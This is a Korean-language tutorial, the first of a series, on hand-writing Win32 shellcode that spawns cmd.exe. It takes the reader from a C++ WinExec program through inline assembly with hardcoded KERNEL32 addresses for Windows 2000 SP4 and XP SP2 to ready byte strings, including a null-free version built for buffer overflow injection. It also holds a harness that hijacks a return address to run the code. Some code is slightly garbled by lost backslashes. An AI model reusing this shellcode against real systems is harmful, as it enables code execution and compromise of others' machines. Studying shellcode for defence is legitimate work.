Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com
Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode 를작성해야하는경우도있으며공격하는방법이매우까다롭기도하다. 본문서는제 1 편으로 Local shellcode 를작성하는방법이다. Windows 에서의로컬 shellcode 란바로 cmd.exe 를실행하는것이다. 간단하게생각하면로컬에서쉘을따낸다는것이무의미할수도있겠다. 물론로컬에서의쉘은별의미가없을수도있다. 하지만쉘에국한되지않고로컬 BOF 를이용하여쉘외에다른작업을할수있다면의미가있지도않을까? 필자는아직정확한가이드를제공할수는없지만항상이문제를생각하고있다. 희미하게나마뭔가할수있을것도같다는생각이들기에곧좋은용도가떠오를것같기도하다. 2 편에서는이문서에서작성한 shellcode 를이용하여 buffer overflow 취약점이있는로컬어플리케이션을공략하여 shellcode 를수행하게하는방법을알아볼것이다. 3 편에서는리모트에서쉘을얻을수있는리버스텔넷 shellcode 작성법에대해서살펴보겠다.
Contents 1. 목적 2. CPP 로작성한쉘프로그램 3. 쉘코드작성하기 4. 후기 5. 참고문헌
1. 목적 이문서의목적은 Win32환경에서쉘코드를작성하는방법을설명하기위한것이다. 쉽게쓰려고노력했다. 필자는 쓰 ~ 바제대로따라했는데왜안돼? 를해소하는문서를작성하려했다. 따라해보면서차근차근해보면쉽게쉘코드를얻을수있을것이라고생각한다. 1.1 준비물 - Visual Studio 6.0 2. CPP 로작성한쉘프로그램 우선 shellcode를만들기위해서는쉘을띄우는프로그램을먼저만들어야할것이다. VC를이용하여다음프로그램을작성하여컴파일해보자 /*shell.cpp*/ #include <windows.h> void main(){ char buf[4]; buf[0] = 'c'; buf[1] = 'm'; buf[2] = 'd'; buf[3] = ' 0'; } WinExec(buf, SW_SHOWNORMAL); exit(1); 다른프로그램을실행시키는함수는몇가지가있지만여기서는 WinExec를이용하였다. WinExec의두 parameter 중에첫번째것은명령이고두번째는실행옵션이다. 화면에명령프롬프트창이뜨게하기위해서 SW_SHOWNORMAL 옵션을주었다. cmd.exe 를실행하는데는당연히 cmd라는명령만주면충분하다. exit() 함수를호출하는이유는 shellcode를 overflow에사용하고쉘을닫아줄때에러를발생시킬수있기때문에 ExitProcess() 를호출하여에러가발생하지않게하기위해서이다. 컴파일을하고실행하면다음과같이쉘이뜬것을볼수있다.
3. shellcode 작성하기 자그러면이제이프로그램을디버그하여어셈블리코드를얻어내자. 뭐다른방법이있을지도모르겠으나필자는 exit(1) 코드옆에 breakpoint를지정하고 Debug 메뉴에서 Disassemble 메뉴를선택하여어셈블리코드를얻었다. main() 함수시작부분부터시작하여 exit() 함수를호출하는부분까지모두 copy하여 asm{} 안에넣자. 그리고불필요한부분을 comment처리하여 shellcode의크기를최소화시키도록하자.
이어셈블리코드를그대로실행시키면실행이되지않을것이다. call dword ptr [KERNEL32_NULL_THUNK_DATA (004251f8)] 구문과 call exit (00401220) 구문때문에그렇다. 이것을해결하기위해서는 WinExec() 가있는 address와 ExitProcess() 가있는 address를찾아야한다. 그리고그 address를레지스터에넣고호출을해주면된다. WinExec() 와 ExitProcess() 가있는 address는시스템마다다르다. 이것은 Windows2000인지 Windows XP인지혹은서비스팩을설치했는지설치하지않았는지또는서비스팩버전이무엇인지에따
라달라진다. 이것이 Windows 시스템에서의 shellcode와 *nix 시스템의 shellcode의가장큰차이점이다. 아무튼유효한 address를찾기위해서는몇가지방법을쓸수있다. 첫번째방법으로는 w32dasm disassemble 프로그램을이용하여 KERNEL32.DLL 파일을 disassemble하여 base address를찾은다음 KERNEL32.DLL에서 WinExec() 와 ExitProcess의 offset을찾으면된다. 또다른방법은 Visual Studio 6.0을설치하면함께설치되는 Dependency Walker라는프로그램을사용하여 base address와 entry point(offset) 를찾는방법이다. 필자는두번째방법을사용하였다. Dependency Walker를실행하여지금우리가컴파일한쉘프로그램을로딩하여 KERNEL32.DLL의 base address와필요한함수들의 entry point를찾아보자. 필자가테스트를수행하고있는시스템은 Windows 2000 SP4 환경이다. 여기에서찾은 KERNLE32.DLL의 base address와각함수들의 entry point는다음과같게나왔다. KERNEL32.DLL base address : 0x77e50000 WinExec Entry Point 0x00027492 ExitProcess Entry Point 0x00026972
또한서비스로필자의노트북컴퓨터는 Windows XP SP2 환경이다. 여기의각 address 는다음과같다. KERNEL32.DLL base address : 0x7c800000 WinExec Entry Point 0x0006114d ExitProcess Entry Point 0x0001caa2 자그러면각함수들이있는 address 는 base point + entry point 를해보면알수있다. WinExec() : 0x77e77492 ExitProcess() : 0x77e76972 그러면이제이 address 를적용한어셈블리코드를보면다음과같다. #include <windows.h> void main(){ asm{ push ebp mov ebp,esp xor ebx, ebx push ebx mov byte ptr [ebp-4],63h mov byte ptr [ebp-3],6dh mov byte ptr [ebp-2],64h mov byte ptr [ebp-1], 0 // call WinExec push 5 lea eax,[ebp-4] push eax mov eax, 0x77e77492 call eax // call exit push 1 mov eax, 0x77e76972 call eax }
} // end of main 이제이코드를컴파일하여실행해보자. 아마잘될것이다. 다시디버그에들어가이번에는바이너리코드를얻어내자. Visual Studio Debugger 환경에서바이너리코드를얻어내기위해서는 Disassemble 창에서마우스오른쪽클릭을하여 Code Bytes 라는메뉴를선택하면된다. 그러면아래와같이 address 와코드사이에바이너리코드가나타날것이다.
이제바이너리코드만을남겨놓고모두없애버리고쉘코드를구성하면된다. 만들어진쉘코드는아래와같다. " x55" " x8b xec" " x53" " xc6 x45 xfc x63" " xc6 x45 xfd x6d" " xc6 x45 xfe x64" " xc6 x45 xff x00" " x6a x05" " x8d x45 xfc"
" x50" " xb8 x92 x74 xe7 x77" " xff xd0" " x6a x01" " xb8 x72 x69 xe7 x77" " xff xd0" 쉘코드가제대로동작하는지확인하기위하여코드를작성하여실행시켜보자. 코드는아래와같다. #include <windows.h> char shellcode[] = " x55" " x8b xec" " x53" " xc6 x45 xfc x63" " xc6 x45 xfd x6d" " xc6 x45 xfe x64" " xc6 x45 xff x00" " x6a x05" " x8d x45 xfc" " x50" " xb8 x92 x74 xe7 x77" " xff xd0" " x6a x01" " xb8 x72 x69 xe7 x77" " xff xd0"; void main(){ int *ret; ret=(int *)&ret+2; (*ret) = (int)shellcode; } 실행을해보니잘동작한다. 이제 buffer overflow 취약점이있는프로그램에이쉘코드를사용하면될것같다. 하지만문제점이있다. 쉘코드를잘보면 0x00인부분이있다. 이것을문자열로전달할경우프로그램은문자열의끝을나타내는 NULL로간주하여실행을멈춰버릴수가있다. 따라서 0x00인코드가있어서는안되는것이다. 어떻게해야할까. 이문제점을해결하는데는역시두가지방법이있다. 하나는 0x00이발생하지않도록코딩을하는
것이다. 그리고나머지한방법은 shellcode를 encoding하여 0x00가없도록하고실행시에이것을다시 decoding하여원래의의미를갖는 shellcode가되도록해주는것이다. encoding 방법은설계를하는사람마다다른방법을사용할수있다. 가장흔히사용하는방법은각바이트를 xor시켜 0x00가없도록하는방법이다. 그리고실행시에다시같은값으로 xor시켜원래 shellcode로되돌린다. 필자는우선앞의방법을이용하여코드를수정해보겠다. 두번째방법은제 3 편에서다루도록하겠다. 수정한어셈블리코드는아래와같다. push ebp mov ebp,esp xor ebx, ebx // 0x00000000가되도록 ebx를만듬 push ebx mov byte ptr [ebp-4],63h mov byte ptr [ebp-3],6dh mov byte ptr [ebp-2],64h // mov byte ptr [ebp-1], 0 이제이부분은필요없음 // call WinExec push 5 lea eax,[ebp-4] push eax mov eax, 0x77e77492 call eax // call exit push 1 mov eax, 0x77e76972 call eax cmd 이후에 0를넣기위해 shellcode에 0x00가필요했다. 따라서 cmd를넣어야하는버퍼를미리 0 으로깨끗하게만들어주기위해 ebx 레지스터를 xor 시켜 0x00000000 로만든다음 c, m, d 를차례로넣으면맨뒤에있어야할 0는미리들어가있는꼴이되는것이다. 이코드를이용하여다시얻어낸바이너리 shellcode는아래와같다. " x55" " x8b xec" " x33 xdb" " x53"
" xc6 x45 xfc x63" " xc6 x45 xfd x6d" " xc6 x45 xfe x64" " x6a x05" " x8d x45 xfc" " x50" " xb8 x92 x74 xe7 x77" " xff xd0" " x6a x01" " xb8 x72 x69 xe7 x77" " xff xd0" 이제 0x00 는없어진것을확인할수있다. 물론이것을실행시켜도잘동작한다. 4. 후기 본문서에서는 cmd.exe를수행하는 shellcode 작성법을알아보았다. 이제 shellcode를작성하는법을알았으므로제2편에서는 buffer overflow 취약점이있는로컬어플리케이션에 shellcode를넣어쉘을띄우는방법을설명하도록하겠다. 유효한 shellcode를작성하기위해서는 shellcode가실행될시스템에서의함수 address를알아내야한다. 이것은 Windows 시스템을공격할때가장힘든부분이다. 유효한 address를얻기위해서는 LoadLibrary() 함수와 GetProcAddress() 를이용하는방법을사용할수있다. 이함수를이용하면필요한함수들의 address를구할수있다. 하지만역시이함수들을호출하려면해당시스템에서두함수의 address를찾아야한다. 찾아야하는함수의 address가많을경우에서는이함수를이용하는방법이좋을것이고본문서의쉘코드처럼두개의함수 address만찾아도된다면그냥써도무방할것이라고생각한다. 이것에대한자세한설명은제3편에서소개하도록하겠다. 5. 참고문헌 [1] Shellcoders Handbook [2] Windows 환경에서의 Buffer Overflow 기법 [3] A Simple tutorial about Win32 Shellcoding